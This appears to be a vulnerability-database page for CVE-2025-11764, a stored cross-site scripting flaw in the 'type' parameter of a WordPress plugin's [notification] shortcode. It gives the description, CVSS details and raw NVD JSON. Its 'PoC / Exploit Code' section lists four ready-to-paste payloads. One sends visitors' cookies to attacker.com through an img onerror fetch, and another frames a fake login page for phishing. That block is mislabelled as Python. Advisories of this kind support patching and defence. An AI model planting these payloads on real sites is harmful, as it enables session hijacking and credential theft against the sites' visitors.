Security Vulnerability Report
中文
CVE-2025-11764 CVSS 6.4 MEDIUM

CVE-2025-11764

Published: 2025-11-21 08:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Shortcodes Bootstrap plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'type' parameter in the [notification] shortcode in all versions up to, and including, 1.1. This is due to missing input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Shortcodes Bootstrap plugin ≤ 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Shortcodes Bootstrap Plugin - Stored XSS via [notification] shortcode --> <!-- Required: Contributor-level access or higher --> <!-- PoC 1: Basic script injection --> [notification type='xss"><script>alert(document.cookie)</script>'] Test notification [/notification] <!-- PoC 2: Event handler injection --> [notification type='xss" onerror="alert(String.fromCharCode(88,83,83))'] Test notification [/notification] <!-- PoC 3: img onerror injection --> [notification type='xss"><img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'] Test notification [/notification] <!-- PoC 4: iframe injection for phishing --> [notification type='xss"><iframe src="https://attacker.com/fake-login" style="width:100%;height:100%">'] Test notification [/notification] <!-- Usage: Add the above shortcode to any WordPress post/page -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11764", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:49.133", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Shortcodes Bootstrap plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'type' parameter in the [notification] shortcode in all versions up to, and including, 1.1. This is due to missing input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/shortcodes-bootstrap/trunk/inc/dws_alert.php#L16", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d9363db7-4535-427d-a6ae-2580f215b965?source=cve", "source": "[email protected]"}]}}